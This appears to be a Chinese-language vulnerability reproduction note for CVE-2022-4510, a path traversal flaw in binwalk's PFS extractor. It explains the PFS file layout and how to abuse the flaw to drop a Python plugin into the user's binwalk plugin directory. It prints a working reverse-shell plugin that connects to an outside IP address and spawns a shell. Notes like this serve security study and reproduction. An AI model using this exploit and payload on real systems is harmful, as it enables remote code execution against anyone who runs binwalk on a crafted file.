binwalk路径穿越CVE 2022 4510
binwalk路径穿越CVE-2022-4510
简介:在 binwalk 中有一个提取 PFS 文件的插件,一般在嵌入式设备中涉及这种文件格式,但是它在提取文件的时候,路径取的有问题,使会导致路径穿越,把文件写到任意的地方
效果:配合 binwalk 可以在 ~/.config/binwalk/plugins 下面自定义插件运行的特性,通过路径穿越把 python 脚本写在这里,基本能执行任意的命令(毕竟 python 可以 os.system)
局限:因为不知道目标的目录结构,可能没法准确的放到那个目录,可以考虑其他利用方式,参考文章有提到
影响范围:2.1.2b 到 2.3.3
复现过程:
在 https://github.com/ReFirmLabs/binwalk 的 release 界面找到一个在漏洞范围内的下载下来,比如 2.3.3,然后解压出来放在一台 ubuntu 上,进入目录,python setup.py install 安装一下,poc 这里有:https://github.com/ReFirmLabs/binwalk/pull/617
在 ~ 目录下使用 binwalk -Me poc.zip 看一下是不是有效果(那个路径是为了看效果改的源码)
接下来看一下 POC 是怎么构成的
压缩包里面有个 pfs 文件
解压出来看看,前面是文件头加路径,后面是文件内容,经过尝试文件内容前面的 C1 就是文件内容长度
接下来保持前面不变,我们自己写个 python 脚本放在 PFS 文件中,并且把长度改一下,然后保存成一个压缩包
import binwalk.core.plugin
import socket,subprocess,os,pty
class MaliciousExtractor(binwalk.core.plugin.Plugin):
def init(self):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.132.131",9999))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("sh")
RCE
参考:
https://github.com/ReFirmLabs/binwalk/pull/617
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/